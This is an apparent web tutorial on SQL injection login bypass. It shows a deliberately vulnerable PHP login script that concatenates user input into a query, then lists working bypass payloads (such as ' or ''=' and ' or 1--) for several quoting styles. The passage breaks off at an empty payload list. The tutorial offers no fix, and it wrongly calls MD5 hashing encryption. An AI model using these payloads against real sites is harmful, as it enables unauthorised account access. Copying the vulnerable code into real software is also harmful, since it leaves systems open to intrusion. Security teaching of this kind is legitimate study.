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SQL Injection Tutorial : Login Bypass


Data is one of the most vital components of information systems. Database powered web applications are used by the organization to get data from customers. SQL is the acronym for Structured Query Language. It is used to retrieve and manipulate data in the database.


What is a SQL Injection?

SQL Injection is an attack that poisons dynamic SQL statements to comment out certain parts of the statement or appending a condition that will always be true. It takes advantage of the design flaws in poorly designed web applications to exploit SQL statements to execute malicious SQL code.

How SQL Injection Works

The types of attacks that can be performed using SQL injection vary depending on the type of database engine. The attack works on dynamic SQL statements. A dynamic statement is a statement that is generated at run time using parameters password from a web form or URI query string.

Let’s consider a simple web application with a login form. The code for the HTML form is shown below.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

HERE,

The above form accepts the email address, and password then submits them to a PHP file named index.php.It has an option of storing the login session in a cookie. We have deduced this from the remember_me checkbox. It uses the post method to submit data. This means the values are not displayed in the URL.

Let’s suppose the statement at the backend for checking user ID is as follows

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);

HERE,

The above statement uses the values of the $_POST[] array directly without sanitizing them.The password is encrypted using MD5 algorithm.


First let us see an example of piece of code that actually creates the Login Page vulnerable to this attack.











Example:

$uname=$_POST['uname'];

$passwrd=$_POST['passwrd'];

$query="select username,pass from users where username='$uname' and password='$passwrd' limit 0,1";

$result=mysql_query($query);

$rows = mysql_fetch_array($result);

if($rows)

{

echo "You have Logged in successfully" ;

create_session();

}

else

{

Echo "Better Luck Next time";

}

What we can see above is a PHP code which takes the user Input put the into the SQL Query and then check if any row is returned it allow you to get Log in.


Now as we can see the query is quoting the input with single quote, that means we have to use a single quote to close the first quote and then inject.

So lets Inject ' or ''=' into the Query:


Logging in with following details:

Username : ' or ''='

Password : ' or ''='


select username,pass from users where username='' or ''='' and password='' or ''='' limit 0,1;


so what i actually did is made the query to return true using the or. We can even try and comment out the query using any comment operator like using the following username and password.


Username : ' or 1--

Password :

what we did is we left the password field empty and commented out the rest of the query. so lets try and check the Query part.


select username,pass from users where username='' or true--' and password='' or ''='' limit 0,1;


Here anything after -- wont be executed which makes the query to be:


select username,pass from users where username='' or true;


and it will return all the rows. and we can bypass the Login. This was the basic okay let us assume now different queries and different injection for them.


Query:

select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;

Injections:

') or true--

') or ('')=('

') or 1--

') or ('x')=('


Query:

select username,pass from users where username="$username" and password="$passwrd" limit 0,1;

Injections:

" or true--

" or ""="

" or 1--

" or "x"="


Query:

select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;

Injections:

") or true--

") or ("")=("

") or 1--

") or ("x")=("


Query:

select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;

Injections: